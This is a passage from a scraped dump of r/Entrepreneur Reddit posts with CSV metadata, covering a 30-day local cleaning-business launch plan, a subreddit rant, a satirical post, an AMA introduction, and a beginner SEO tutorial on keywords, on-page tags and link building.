Do nothing. Just chill, let the alcohol wear off, and relax. The next 30 days will be sick!!! -- **Monday Jan 2nd: Choose Your Industry** Wake up, eat a good breakfast and get ready to crush 2017. Choose one, listed here in order of likelihood of success in my opinion: Home cleaning, carpet cleaning, home painting, lawncare, laundry. I've also seen people do well with mobile car detailing, dog walking, and others. Simple local services, but we'll be doing NONE of the actual work! I’m going to assume home cleaning for simplicity for this guide, but you can interchange that with almost any local service you can imagine. -- **Tuesday Jan 3rd: Use Yelp to check out the competition** Check out your competition on Yelp by searching for 1 star reviews. Goal is to not repeat the things your competition keeps getting wrong. [Watch this video on analyzing the competition](https://vimeo.com/168825231). -- **Wednesday Jan 4th: Adding Value** Easy day. Spend the day thinking about customer service and how you will add value to the industry. The goal is a long term successful business that does not repeat the issues your competitors have problems with. [Watch this video on adding value](https://player.vimeo.com/video/169029792). -- **Thursday Jan 5th: Create Your One Page Business Plan** The days of the 60 page business plan is over. Fill this [bad boy](http://100startup.com/resources/business-plan.pdf) out as a simple guide. We'll come back to this as you get more information. [Watch this video on the one page business plan](https://player.vimeo.com/video/169326919). -- **Friday Jan 6th: Choose a domain** I typically use [this site](http://www.leandomainsearch.com/ ) for domain ideas. I like to create domains that have one keyword in the domain and then one sexy word for human beings. Example: Lawn Tribe. That way both Google and Humans understand what you're offering. [Watch this video on us choosing a domain](https://player.vimeo.com/video/169184529). -- **Saturday Jan 7th: Branding** Good looking people get more breaks in life. Same for good looking websites. Launch with a good looking brand that looks more like a startup than an old school company. The goal is to have the most professional site in your industry in your city. Just spend the day googling around for your service in your city and looking at their websites. -- **Sunday Jan 8th: Chillaxing Day** Go for a run, or bullshit a bit on reddit, or whatever you do to unwind. So far not much has happened, but next week things will start to ramp up and you'll need a mental break. -- **Monday Jan 9th: Planning the website** So we need to get a good looking site. Three choices: 1) Get a cheap wordpress theme and tweak it. 2) Buy a more expensive but [ready-to-go theme](http://demo.themestreet.net/launch27/index.html) that is already branded beautifully (if we do say so ourselves) 2) Most expensive: Get something built yourself. I personally like 99designs for homepage design and created a guide on how to get good outcomes there: Step 1: Setting up the contest: https://vimeo.com/147716915 Step 2: Marketing the contest: https://vimeo.com/147716917 Step 3: Finding Inspiration sites: https://vimeo.com/147716918 step 4: Managing the contest: https://vimeo.com/147716916 Step 5: Wrapup and handover https://vimeo.com/147716914 Bottom line is, I don't launch any projects with ugly design. -- **Tuesday Jan 10th: Copywriting** You have to write engaging content for your website. For the top section make sure the customer knows where you do business: Things like “Premier Maid Service in Los Angeles” or “You Deserve a clean home in Nevada”. You get the gist. The goal is casual and fun copywriting for the entire site. Watch this video on [our copywriting efforts](https://player.vimeo.com/video/169960700). -- **Wednesday Jan 11th: Building Trust** There are few little things we want to incorporate, that this video covers. Trust is the currency of the internet. We can't build a successful company without certain trust factors on the site like human faces, trust icons, etc. [Watch this video on how we build trust](https://vimeo.com/170150848). -- **Thursday Jan 12th: Pricing** We’re going for simple online booking, that's one of our major competitive advantages, so keep in mind we have to have a pricing structure that works. Here’s [something](https://www.reddit.com/r/EntrepreneurRideAlong/comments/slrip/day_9_pricing_mindset_layer_on_value_and_charge/) to read on pricing from the original case study. [In this video we discuss how we figured out pricing](https://player.vimeo.com/video/170611257). -- **Friday Jan 13th: Building a form for hiring** The goal here is to throw up ads to find service providers and have them fill out a form on your website that you can then use to follow up. You can use something like www.groovehiring.com (my company) to have people apply on your website. You want to present a nice landing page that looks professional and groovehiring helps with that. [This is what it looks like]( https://maidsinblack.groovehiring.com/). Check this video out for some more [info at the 1 minute mark](https://player.vimeo.com/video/170939041). -- **Saturday Jan 14th: Choosing the right people** How to choose the right folks on craigslist. [Read this](https://docs.google.com/document/d/1k4FnAwoX2XXNO3JXQNLpgYLHvbSylRTqmkBWTEGRZ9E/edit?usp=sharing) and for how to reward them, [read this](https://www.reddit.com/r/EntrepreneurRideAlong/comments/siknh/day_6_find_your_superstars_quickly_and_reward_them/). -- **Sunday Jan 15th: Chill out!** Some good games on today if you're a football fan. Take it easy and rest your brain if you can. Next week we start to line things up for launch. -- **Monday Jan 16th: Our Marketing Channels** Here's our marketing Channels and how we’ll be making money. There are a ton of places to get customers and we'll show more in a few days, but for now, watch this video to start to get [familiar with marketing channels](https://player.vimeo.com/video/171823571). -- **Tuesday Jan 17th: Adding a video to your website** This isn't necessary but it defintely helps you stand out. Watch this video of [Dara creating her video for her website](https://player.vimeo.com/video/172659641). -- **Wednesday Jan 18th: Set up live chat and other ways to contact you** Set up live chat (Tawk.to is free and great) and consider a popup to capture emails. We use phone.com for phones but there are plenty of tools out there. [This vid has a bit on email capture](https://player.vimeo.com/video/174447486). -- **Thursday Jan 19th: Thumbtack** We're not launched yet but this will be important for us to figure out, out of the gate: Here's[ how to get clients on Thumbtack](https://player.vimeo.com/video/148259895), and here is Dara’s first shot. It worked out in the end, but here’s [how the first stab went](https://player.vimeo.com/video/176684841) for some real world angst. -- **Friday Jan 20th: Thumbtack Day 2** Thumbtack will be important for us for our early jobs, check out [this video for more Thumbtack strategies](https://player.vimeo.com/video/178078135). -- **Saturday Jan 21st: Gift Cards, discount codes, etc.** Gift cards, discount codes, and other ecommerce tools. Just familiarize yourself online with techniques ecommerce folks use to increase conversions and grow revenue using ecommerce tools. Everything here you’ll get from www.launch27.com -- **Sunday Jan 22nd: CHILLAX** Trump is now president, and Facebook is probably going crazy with memes and stories. You'll need this day. Trust me! -- **Monday Jan 23rd: Get set up to take credit cards** Sign up at stripe.com to get a stripe account. This will be the credit card processing company that allows your customers to book online with ease. We use stripe because it integrates perfectly with the booking form we'll be using. -- **Tuesday Jan 24th: Sign up at Launch27** (Full disclosure: I’m an owner) This is going to be the software that runs the entire business, from booking form, to recurring bookings, to credit card integration, to customer database, the entire shebang. The booking form you get here you will add to your website with a simple copy and paste. ""Oh wait, so this is just selling shovels in a gold rush?"" Yeah. A gold rush where I've already figured out how to pan the gold myself, made millions there, showed other people how to do it and a lot of them are making millions as well, and then 2 years later I created a shovel that simplifies the entire process. And in this gold rush, the gold just happens to be fairly predictable and easy to pan. :-) -- **Wednesday Jan 25th to Sunday the 29th** Last minute checks, launch27 integration, logo upload, business set up, contracts etc. -- **Monday Jan 30th. Launch Day!** This is 1 month from now. And that's how we build businesses. From idea to launch in 30 days. Watch this video for some tips on [how we get our first customers](https://player.vimeo.com/video/181279143). Cycle through this list as well, there are a ton of ways here that [have been shown to be solid for getting clients](http://www.rohangilkes.com/day-10-how-to-develop-a-list-of-marketing-channels/). -- Yep, it’s hard. One month of hard work, but in 30 days you can start making money instead of dreaming about that fancy mobile app that you’ve been planning out for the last 2 years! COSTS: Domain: $10 Hosting: $10 per month Theme: $450 (website) Launch27: $59 per month From here on out if you can budget $300 per month for marketing it would be a win. (That’s like eating out money and cable/cell phone bill ) Core customers will come from: Yelp, Adwords (hire someone), Thumbtack, Craigslist, local seo, and others. Will come back on February 1st to continue this if enough folks give it a shot. **BUILD SOMETHING IN 2017** At the end of the day build something! If not this, find something else. But there's no excuse to be hanging out in r/entrepreneur for years without working on something. Makes no sense :-) Knowing you guys really well, I know there are a ton of excuses you've already created for why this won't work. I wrote this: [The Top 12 Wantrepreneur excuses on how to get past them](https://www.reddit.com/r/Entrepreneur/comments/4ivuhb/the_top_12_wantrepreneur_bullshit_excuses_and_how/). Good luck and AMA P.S. Want to add this as someone said I make it sound too easy. Business is risky. Anyone that tells you otherwise has never started a business. It's incredibly difficult, subject to fail, will make you overweight sitting at a computer, will give you high blood pressure and anxiety if you're not careful, and it is incredibly difficult to find customers (and shoot sometimes even more difficult to have those customers pay you when you're done). Nothing about business is easy, otherwise EVERYBODY would be doing. It takes an almost insane person to take on trying to make it in the world with their own two hands and take on ALL the responsibility for the livelihoods of a lot of people. Just keeping it real! This is hard, but doable, because a ton of people have done it, but it's not for everyone by any means. Not everyone is cut out for entrepreneurship to begin with and certainly not everyone is cut out for local services and dealing with human beings. Good luck. Edited to add [our FB group](https://www.facebook.com/groups/groovelearning/) for ecommerce and [FB group](https://www.facebook.com/groups/376625209160792/?fref=nf) for local. ",localcasestudy,3735,809,1483290258,/r/Entrepreneur/comments/5lfy6n/4_years_ago_i_wrote_a_case_study_on_reddit_on_my/,https://www.reddit.com/r/Entrepreneur/comments/5lfy6n/4_years_ago_i_wrote_a_case_study_on_reddit_on_my/,self.Entrepreneur,True,,,,, 7wv79f,Entrepreneur,This subreddit is honestly shit.,"30% of the posts consists of cancerous Shopify shops. 30% of the posts consists of people trying to make money off us, one way or another, be it trough affiliate marketing or some elaborate scamming scheme or whatever. 20% of the posts are people who have legit problems and need advice. 20% of the posts are about people who actually have to say something. That's 40% content and 60% spam. Even with the content, every other post is someone trying to convince us they make 653 Quadtrillion a day. There is no requirement for evidence, everyone can just join and spread their cancer. No one seems to be knowledge about anything, people just make assumptions over and over again. It was fun while it lasted, but this is now as cancerous as YouTube. Too many marketing articles, too many 17 year old entrepreneurs. I am here to learn, but I simply don't see that happen, every other problem is shit, things you get in the first grade of business school. But, if you like shameless plugs to articles, social media marketing, dropshipping, shopify, ebay, amazon and aliexpress, people cluecless about the simplest subject then this the place for you!. ",[deleted],3732,517,1518379866,/r/Entrepreneur/comments/7wv79f/this_subreddit_is_honestly_shit/,https://www.reddit.com/r/Entrepreneur/comments/7wv79f/this_subreddit_is_honestly_shit/,self.Entrepreneur,True,,,,, hac2iy,Entrepreneur,"Someone told me this 5 years ago and it stuck in my mind since : “If you work for someone else, you are just a cost to them. And costs by nature are meant to be kept down. In 99% of the cases, salaries and wages never made anyone rich.”","Someone told me this 5 years ago and it stuck in my mind since : “If you work for someone else, you are just a cost to them. And costs by nature are meant to be kept down. In 99% of the cases, salaries and wages never made anyone rich.”",jaiga99,3454,542,1592339449,/r/Entrepreneur/comments/hac2iy/someone_told_me_this_5_years_ago_and_it_stuck_in/,https://www.reddit.com/r/Entrepreneur/comments/hac2iy/someone_told_me_this_5_years_ago_and_it_stuck_in/,self.Entrepreneur,True,,,,, 5m0ra3,Entrepreneur,"I made $1,000,000 by selling a book explaining how to become a millionaire","Step 1) Sell people the idea of being successful. If you can convince people they are moving in a positive direction by reading your material then you have already won over your audience, even if they never do a thing with it. Step 2) Give a bunch of general, bullshit advice that can't actually be applied because EVERY business is different but seems practical. Step 3) Talk about how profitable your venture is while wasting your ""valuable"" time trying to create a book that you will sell for $10.00 because you are actually a sham and make money by selling the idea of success instead of actually creating anything of value. Step 4) Make sure you have no moral compass and have sociopathic tendencies Step 5) Being an egocentric douche is an added plus Step 6) Take a bus to the city and look for nice cars to pose with and buy fake Hublot watches off Aliexpress to post photos of on Instagram to create the illusion that you are extremely rich for your followers Step 6) Profit If all else fails you can create a subscription box company. I hear the margins are GREAT.",djacob__,3375,489,1483554072,/r/Entrepreneur/comments/5m0ra3/i_made_1000000_by_selling_a_book_explaining_how/,https://www.reddit.com/r/Entrepreneur/comments/5m0ra3/i_made_1000000_by_selling_a_book_explaining_how/,self.Entrepreneur,True,,,,, 6d24rb,Entrepreneur,"11 years ago I got a $428 million dollar lesson when I was fired from Facebook as employee #30. I went on to build two multi-million dollar companies including Sumo.com and AppSumo, which I started on Reddit. I’m Noah Kagan and I LOVE tacos, AMA!","**I’m Noah Kagan, host of [Podcast](http://www.okdork.com/podcast) / [YouTube](https://www.youtube.com/user/crxnamja/videos?sub_confirmation=1) and founder of [Sumo](http://www.sumo.com) (free tools to grow your website and business) and [AppSumo](http://www.appsumo.com) (Groupon for Geeks) where we help entrepreneurs kick more ass!** Before becoming an entrepreneur I worked at Intel, was employee [#30 at Facebook](http://okdork.com/why-i-got-fired-from-facebook-a-100-million-dollar-lesson/), and [#4 at Mint](http://okdork.com/why-i-quit-mint-com-and-lost-out-on-1-7-million/). I want to help as many people as possible love their work so I've created my products and businesses to help me achieve this mission. It's also why I'm here today for this AMA! I've been a Redditor for years and started AppSumo ON REDDIT. Happy to talk about marketing, starting and growing businesses, tacos, getting over depression, productivity and anything else so AMA! Verification: https://twitter.com/noahkagan/status/867372612548218880 Ps. Love you guys / gals. My favorite thing is seeing you take action. Let me know in PMs what you do and the results following this AMA. Pps. I planned on spending an hour here but y'all are AWESOME, spent most of the day. I'll be back tomorrow to answer remaining questions. As well, I'm donating $1k in Reddit gold cause of all the great comments. **Ppps. Thanks so much for the love guys, had a lot of fun. If you want to check out my businesses or connect with me you can do so below**: * **[Noah Kagan Presents Podcast](http://okdork.com/podcast/)** – chats with fun people * **[YouTube Channel](https://www.youtube.com/user/crxnamja)** – videos on business * **[OkDork](http://www.okdork.com)** - my blog about marketing and scaling companies * **[KingSumo](http://www.kingsumo.com)** – WordPress plugin for giveaways * **[Sumo](http://www.sumo.com)** – Free tools to grow your email list * **[AppSumo](http://www.appsumo.com)** – ""Groupon for Geeks and entrepreneurs"" ",crxnamja,3023,1063,1495632617,/r/Entrepreneur/comments/6d24rb/11_years_ago_i_got_a_428_million_dollar_lesson/,https://www.reddit.com/r/Entrepreneur/comments/6d24rb/11_years_ago_i_got_a_428_million_dollar_lesson/,self.Entrepreneur,True,,,,, 4wbdcz,Entrepreneur,SEO is Not Hard . A step-by-step SEO Tutorial for beginners that will get you ranked every single time,"After my post about making money from an affiliate site was at the top of this sub for a couple days, I've received more than 50 PMs asking for more info on how SEO works and how to get authority sites ranking. I have a chapter about that in my book, so I'm just going to publish it for free. For what it's worth, I drive millions of dollars of traffic in the most competitive key terms online, including with new sites, so if you come in here to comment ""this won't work"" you're wrong. It's hard work, but it's not unreasonably hard. So much so that I decided to call it ""SEO is not hard."" Formatting on reddit is hard, so it's also on Medium [here](https://medium.com/@austenallred/seo-is-not-hard-a-step-by-step-seo-tutorial-for-beginners-that-will-get-you-ranked-every-single-1b903b3ab6bb). It's also one of the several chapters of a book I wrote, which you can purchase [here](http://indiegogo.com/projects/secret-sauce-a-step-by-step-growth-hacking-guide--2) #SEO is Not Hard — A step-by-step SEO Tutorial for beginners that will get you ranked every single time ##SEO In One Day SEO is simply not as hard as people pretend like it is; you can get 95% of the effort with 5% of the work, and you absolutely do not need to hire a professional SEO to do it, nor will it be hard to start ranking for well-picked key terms. Of all the channels we’ll be discussing, SEO is the one that there is the most misinformation about. Some of it is subtle, but some of it is widely spread and believed by so-called SEO consultants who actually don’t know what they’re doing. SEO is very simple, and unless you’re a very large company it’s probably not worth hiring somebody else to do. It’s also something that has a lot of faux veneer around it. Consultants want to make it seem incredibly difficult so that they can charge you a lot, but I'll show you exactly how to do it, step by step, and you'll win. How Google Works In order to understand what we need to do for SEO let’s look back at how Google started, how it’s evolving today, and develop a groundwork from which we can understand how to get ranked on Google. First, we're going to reverse engineer what Google is doing, and then simply follow their rules, picking the right keywords, and get your sites ranked. #The Early Days of Google The idea for PageRank — Google’s early ranking algorithm — stemmed from Einstein. Larry Page and Sergei Brin were students at Stanford, and they noticed how often scientific studies referred to famous papers, such as the theory of relativity. These references acted almost like a vote — the more your work was referenced the more important it must be. If they downloaded every scientific paper and looked at the references, they could theoretically decide which papers were the most important, and rank them. They realized that because of links, the Internet could be analyzed and ranked in a similar way, except instead of using references they could use links. So they set about attempting to “download” (or crawl) the entire Internet, figuring out which sites were linked to the most. The sites with the most links were, theoretically, the best sites. And if you did a search for “university,” they could look at the pages that talked about “university” and rank them. #Google Today Google works largely the same way today, although with much more sophistication and nuance. For example, not all links carry the same weight. A link from an authoritative site (as seen by how many links a site has pointing at it) is much more valuable than a link from a non-authoritative site. A link from Wikipedia is probably worth about 10,000 links from sites that don’t have much authority. At the end of the day the purpose of Google is to find the “best” (or most popular) web page for the words you type into the search bar. All this means is we need to make it clear to google what our page is about, and then make it clear that we’re popular. If we do that we win. In order to do that, we’ll follow a very simple process that works every single time with less effort than you probably think is required. ##Gaming the System Google is a very smart company. The sophistication of the algorithms they write is incredible; bear in mind that there are currently cars driving themselves around Silicon Valley powered by Google’s algorithms. If you get too far into the SEO rabbit hole you’ll start stumbling upon spammy ways to attempt to speed up this process. Automated software like RankerX, GSA SER, and Scraperbox, instructions to create spam or spin content, linkwheels, PBNs, hacking domains, etc. Some of that stuff works very short term, but Google is smart and it is getting smarter. It gets harder to beat Google every day, and Google gets faster at shutting down spammy sites every day. Most don’t even last a week before everything you’ve done disappears and your work evaporates. That’s not the way you should do things. Instead of Internet-based churn and burn we’ll be focusing on building equity in the Internet. So if you see some highly-paid SEO consultant telling you to use software and spun content to generate links, or when you see some blackhatter beating the system, just know that it’s not worth it. We’re going to build authority and get traffic fast, but we’re going to do it in a way that doesn’t disappear or cripple your site in the future. #On-Page SEO The first step in getting our site ready to rank is making it clear to Google what our site is about. For now we’re going to focus our home page (our landing page) on ranking for one keyword that isn’t our brand or company name. Once we do that and get that ranking we can branch out into other keywords and start to dominate the search landscape, but for now we’ll stay laser focused. Keyword Research The first thing we need to do is to figure out what that keyword is. Depending on how popular our site is and how long it’s been around, the level of traffic and difficulty we’ll get from this effort may vary. ##The Long Tail There’s a concept we need to be familiar with known as the “long tail.” If we were to graph “popularity” of most things with “popularity” being the Y axis and the rank order being the Y axis, we’d get something like a power law graph: https://cdn-images-1.medium.com/max/800/0*BJTF2S1LVXK5ig75 There are some big hits that get the majority of attention, and after a few hits the graph falls sharply. The long-tail theory says that as we become more diverse as a society the yellow end of the above graph will stretch forever and get taller. Think of Amazon. They probably have a few best-selling products, but the majority of their retail revenue comes from a wide variety of things that aren’t bought anywhere nearly as often as their best-selling products. Similarly, if we were to rank the popularity of the songs played in the last 10 years, there would be a few hits that would garner the majority of plays, and an enormous number of songs that have only a few plays. Those less popular products and songs are what we call the long tail. In SEO this matters because, at least in the beginning, we’re going to go after long tail keywords — very exact, intention-driven keywords with lower competition that we know can win, then gradually we’ll work our way to the left. Our site isn’t going to outrank ultra-competitive keywords in the beginning, but by being more specific we can start winning very targeted traffic with much less effort. The keywords we’re looking for we will refer to as “long-tail keywords.” #Finding the Long Tail In order to find our perfect long-tail keywords, we’re going to use a combination of four tools, all of which are free. The process looks like this: 1. Use UberSuggest, KeywordShitter and a little bit of brainstorming to come up with some keywords 2. Export those keywords to the Google Keyword Planner to estimate traffic level 3. Search for those keywords with the SEOQuake chrome extension installed to analyze the true keyword difficulty Don’t be intimidated — it’s actually very simple. For this example we’ll pretend like we were finding a keyword for this book (and we’ll probably have to build out a site so you see if we’re ranked there in a few months). ##Step 1: Brainstorming and Keyword Generating In this step we’re simply going to identify a few keywords that seem like they might work. Don’t concentrate too much on culling the list at this point, as most bad keywords will be automatically eliminated as a part of the process. So since this is a book about growth hacking, I’m going to list out a few keywords that would be a good fit: - Growth hacking - Growth marketing - Internet marketing - Growth hacking guide - Growth hacking book - Book about growth hacking - What is growth hacking - Growth hacking instructions That’s a good enough list to start. If you start running out of ideas go ahead and check out keywordshitter.com. If you plug in one keyword it will start spitting out thousands of variations in just a few minutes. Try to get a solid list of 5–10 to start with. Now we’ll plug each keyword into UberSuggest. When I plug the first one — “growth hacking” — in, I get 246 results. Clicking “view as text” will let us copy and paste all of our keywords into a text editor and create an enormous list. https://cdn-images-1.medium.com/max/800/0*BkT8uUYV3p2hsXCI. Go through that process with each keyword you came up with. Now we’ll assume you have 500+ keywords. If you don’t, try to start with something more generic and broad as a keyword, and you’ll have that many quickly. Ideally you’ll have over 1500. ##Step 2: Traffic Estimating Now that we have a pretty good list of keywords. Our next step is to figure out if they have enough search volume to be worth our while. You’ll likely notice that some are so far down the long tail they wouldn’t do much for us. For example, my growth hacking list came up with “5 internet marketing techniques.” We probably won’t go after that one, but instead of guessing we can let Google do the work for us. This will be our weeding out step. ##Google Keyword Planner The [Google Keyword Planner](https://adwords.google.com/KeywordPlanner) is a tool meant for advertisers, but it does give us some rough idea of traffic levels. Google doesn’t make any promise of accuracy, so these numbers are likely only directionally correct, but they’re enough to get us on the right track. You’ll have to have an AdWords account to be able to use the tool, but you can create one for free if you haven’t use AdWords in the past. Once you’ve logged in, select “Get search volume data and trends.” Paste in your enormous list of keywords, and click “Get search volume.” Once you’ve done so, you’ll see a lot of graphs and data. Unfortunately the Keyword Planner interface is a little bit of a nightmare to work within, so instead we’re going to export our data to excel with the “download” button and play with it there. Now what we’re going to do is decide what traffic we want to go after. This varies a bit based on how much authority your site has. So let’s try to determine how easy it will be for you to rank. Go to SEMrush.com and enter your URL, looking at the total backlinks in the third column: https://cdn-images-1.medium.com/max/800/0*aV3sF59d8Bt3Aqqw. As a general rule (this may vary based on how old your site is, who the links are from, etc.), based on the number of links you have, this is the maximum level of “difficulty” you should go after. **Number of Backlinks:Maximum Difficulty** \<30:40 <100:40–50 <1000:50–70 1000+:70+ Go ahead and sort the data by difficulty, and eliminate all of the stuff that is too high for your site (don’t worry, we’ll get those keywords later). For now you can simply delete those rows. ##Exact Match One important thing to note is that Google gives us this volume as “exact match” volume. This means that if there is a slight variation of a keyword we will see it if the words are synonyms, but not if they are used in a phrase, so the traffic will be underestimated from what you would expect overall. Now with that disclaimer sort the traffic volume highest to lowest, and from this data pick out five keywords that seem like a good fit. Here are mine: - growth hacking strategies - growth hacking techniques - growth hacking 101 - growth hacking instagram - growth hacking twitter Mine all look the same, but that may not necessarily be the case. ##Keyword Trends Unfortunately the “keyword difficulty” that Google gives us is based on paid search traffic, not on natural search traffic. First, let’s use [Google Trends](https://www.google.com/trends/) to view the keyword volume and trajectory simultaneously. You can enter all of the keywords at the same time and see them graphed against each other. For my keywords it looks like this: https://cdn-images-1.medium.com/max/800/0*10BiNkXI3C3mEvYb. The ones I’m most excited about are purple and red, which are “Growth hacking techniques” and “Growth hacking Twitter.” Now we’ll take a deeper look at what the competition is like for those two keywords. ##Manual Keyword Difficulty Analysis In order to analyze how difficult it will be to rank for a certain keyword, we’re going to have to look at the keywords manually, one by one. That’s why we started by finding some long-tail keywords and narrowing the list. This process gets a lot easier if you download the [SEOQuake Chrome extension](https://chrome.google.com/webstore/detail/seoquake/akdgnmcogleenhbclghghlkkdndkjdjc?hl=en). Once you’ve done that, do a Google search and you’ll notice a few changes. With SEOQuake turned on the relevant SEO data of each site is displayed below each search result. We’re going to alter what is displayed, so in the left-hand sidebar click “parameters” and set them to the following: https://cdn-images-1.medium.com/max/800/0*qVN8Re6-d0RqvJ07. Now when you search, you’ll see something like this: https://cdn-images-1.medium.com/max/800/0*9c46odS5ItXx3F5X. SEOQuake adds a ranking number, and the following at the bottom: **The Google Index:** This is how many pages from this base URL Google has indexed **Page Links:** The number of pages linking to the exact domain that is ranking according to SEMrush’s index (usually very low compared to reality, but since we’ll be using this number to compare it wil be somewhat apples to apples) **URL Links:** The number of pages pointing to any page on the base URL **Age:** The first time the page was indexed by the Internet Archive **Traffic:** A very rough monthly traffic number for the base URL Looking at these we can try to determine approximately what it would take to overtake the sites in these positions. You’ll notice that the weight of the indicators change. Not all links are from as good of sources, direct page links matter much more than URL links, etc., but if you google around and play with it for a while you’ll get a pretty good idea of what it takes. If you have a brand new site it will take a month or two to start generating the number of links to get to page one. If you have an older site with more links it may just be a matter of getting your on-page SEO in place. Generally it will be a mixture of both. Keep in mind that we’re going to optimize our page for this exact keyword, so we have a bit of an advantage. That said, if you start to see pages from sites like Wikipedia, you will know it’s an uphill battle. Here are a couple of examples so you can see how you should think through these things, starting with “Growth hacking techniques.” https://cdn-images-1.medium.com/max/800/0*YErpxe0guQCv8f2E. Entrepreneur.com is definitely a big name, and “growth hacking techniques” is in the title explicitly. This will be difficult to beat, but there are no links in the SEMRush index that point direct to the page. (By the way, I wonder how hard it would be to write an article for entrepreneur.com — I could probably do that and build a few links to that easily, even linking to my site in the article). https://cdn-images-1.medium.com/max/800/0*hJxs4ukw38FD_rzA. Yongfook.com, have never heard of that site. 206 total links, not much traffic, this one I could pass up. It does have quite a bit of age and “Growth hacking tactics” in the title explicitly, so that would make it tough, but this one is doable to pass up after a while. https://cdn-images-1.medium.com/max/800/0*FXNrc-YR8rEbVY90. Alright, so quicksprout is relatively popular, a lot of links, good age, lots of traffic, a few links direct to the page but not a ton. But the word “tactics” doesn’t even appear here. This page isn’t optimized for this keyword, so I could probably knock it out by being optimized specifically for “growth hacking tactics.” Let’s jump down a ways to see how hard it would be to get on the front page. 17 total pages indexed? Created in 2014? No links in the index, even to the root URL? This one’s mine. I should be able to front-page easily. So this looks like a good keyword. Now we just have to get the on-page SEO in place and start building a few links. (Note: After doing this a few more times I learned that I could probably get austenallred.com toward the top of ""growth hacking press,"" so I changed the on-page optimization of one of those pages to focus on that keyword, and we'll see how it goes. #On-Page SEO Now that we have our keyword selected, we need to make sure Google knows what our site is about. This is as simple as making sure the right keywords are in the right places. Most of this has to do with html tags, which make up the structure of a webpage. If you don’t know html or understand how it works, just pass this list to a developer and they should be able to help you. Here is a simple checklist you can follow to see if your content is optimized. ## On-Page SEO Checklist ☐ Your keyword is in the <title> tag, ideally at the front (or close to the front) of the tag ☐ Your keyword is close to the beginning of the <title> tag (ideally the first words) ☐ The title tag contains less than the viewable limit of 65 characters (optional but recommended) ☐ Your keyword is in the first <h1> tag (and your page has an <h1> tag) ☐ If your page contains additional header tags (<h2>, <h3>, etc) your keyword or synonyms are in most of them ☐ Any images on the page have an <alt> tag that contain your chosen keyword ☐ Your keyword is in the meta description (and there is a meta description) ☐ There is at least 300 words of text on the page ☐ Your keyword appears in the URL (if not the homepage) ☐ Your keyword appears in the first paragraph of the copy ☐ Your keyword (or synonyms — Google recognizes them now) is used other times throughout the page ☐ Your keyword density is between .5% and 2.5% ☐ The page contains dofollow links to other pages (this just means you’re not using nofollow links to every other page) ☐ The page is original content not taken from another page and dissimilar from other pages on your site If you have all of that in place you should be pretty well set from an on-page perspective. You’ll likely be the best-optimized page for your chosen keyword unless you’re in a very competitive space. All we have left now is off-page optimization. #Off-Page SEO Off-Page SEO is just a fancy way to say links. (Sometimes we call them backlinks, but it’s really the same thing.) Google looks at each link on the web as a weighted vote. If you link to something, in Google’s eyes you’re saying, “This is worth checking out.” The more legit you are the more weight your vote carries. ## Link Juice SEOs have a weird way to describe this voting process; they call it “link juice.” If an authoritative site, we’ll say Wikipedia for example, links to you, they’re passing you “link juice.” But link juice doesn’t only work site to site — if your homepage is very authoritative and it links off to other pages on your site, it passes link juice as well. For this reason our link structure becomes very important. ### Checking Link Juice There are a number of tools that let you check how many links are pointing to a site and what the authority of those pages are. Unfortunately none of them are perfect — the only way to know what links are pointing to your site is to have crawled those pages. Google crawls most popular pages several times per day, but they don’t want you manipulating them, so they update their index pretty slowly. That said, you can check at least a sample of Google’s index in the Google Search Console (formerly known as Webmaster Tools). Once you navigate to your site, In the left-hand side select “Search Traffic” then “Links to your site.” There’s a debate raging over whether or not this actually shows you all of the links Google knows about (I’m 99% convinced it’s only a sample), but it’s at least a representative sample. To see all of your links, click on “More” under “Who links to you the most” then “Download this table.” This, again, seems to only download a sample of what Google knows about. You can also select “Download latest links” which provides more recent links than the other option. Unfortunately this doesn’t let us see much a to the value of the links, nor does it show us links that have dropped or where those links are from. To use those there are a wide variety of tools: If you have a budget I’d go with ahrefs.com as they have the biggest index, followed by Moz’s Open Site Explorer (most of the data you can get with a free account, if not then it’s slightly cheaper than ahrefs), and finally SEMrush, which is free for most purposes we need. MajesticSEO uses a combination of “trust flow” and “citation flow” which also works fairly well to give you an idea as to the overall health and number of links pointing to your site. All of these use different internal metrics to determine the “authority” of a link, but using them to compare apples to apples can be beneficial. #Link Structure HTML links look something like this: <a href=”http://www.somesite.com” title=”keyword”>Anchor text</a> Where http://www.somesite.com is the place the link directs you to, the title is largely a remnant of time gone by, and the linked text — think the words that are blue and you click on — is called the “anchor text.” In addition to the amount of link juice a page has, the relevance of the anchor text matters. Generally speaking you want to use your keyword as the anchor text for your internal linking whenever possible. External linking (from other sites) shouldn’t be very heavily optimized for anchor text. If 90% of your links all have the same anchor text Google can throw a red flag, assuming that you’re doing something fishy. If you’re ever creating links (like we’ll show you in the future) I only ever use something generic like the site name, “here” or the full URL. ## Internal Structure Generally speaking you don’t want orphan pages (those that aren’t linked to by other pages), nor do you want an overly-messy link structure. Some say the ideal link structure for a site is something like this: https://cdn-images-1.medium.com/max/800/0*tWHFIzBzG7zq6uii. That’s close, but it gets a couple things wrong. First, you’ll never have a structure that organized, and second, in an ideal world every page would link to every other page on its same level. This can easily be done with a footer that feels like a sitemap or “recommended” pages. That allows you to specify anchor text, and pass link juice freely from page to page. Unfortunately it’s impossible to draw such a web without it becoming a mess, so you’ll just have to imagine what that actually looks like. We have just one more thing to go over before we start getting those first links pointing to our site. ###Robots.txt, disavow, nofollow, and other minutia### Most of SEO at this point is now managing stuff that can go wrong. There is a lot of that, but we’ll go over what will cover 99% of needs, and you can Google if there’s something really crazy. #### Robots.txt Almost every site has a page at url.com/robots.txt — even google has one. This is just a plain text file that lets you tell search engine crawlers what to crawl and not to crawl. Most are pretty good about listening, except the Bingbot, which pretty much does whatever it wants no matter what you tell it. (I’m mostly kidding.) If you don’t want Google to crawl a page (maybe it’s a login page you don’t want indexed, a landing page, etc.) you can just “disallow” it in your robots.txt by saying disallow: /somepage. If you add a trailing / to it (e.g. disallow: /somepage/) it will also disallow all child pages. Technically you can specify different rules for different bots (or user agents), but it’s easiest to start your file with “User-agent: *” if you don’t have a need for separate crawling rules. #### Disavow Google will penalize spammy sites, and unfortunately this causes some bad behavior from bad actors. Say, for example, you wanted to take out a competitor. You could send a bunch of obviously spammy links to their site and get them penalized. This is called “negative SEO,” and is something that happens often in highly contested keywords. Google generally tries to pretend like it doesn’t happen. In the case that this does happen, however, you can “Disavow” links in the Search Console, which is pretty much saying, “Hey Google, don’t count this one.” I hope you’ll never have to use it, but if you hire (or have hired) a bad SEO or are being attacked by a competitor, that is how you combat it. #### Nofollow A link can have a property called “nofollow” such as this: <a href=”http://www.somesite.com” title=”keyword” rel=”nofollow”>Anchor text</a>. If you want to link to somebody but you don’t 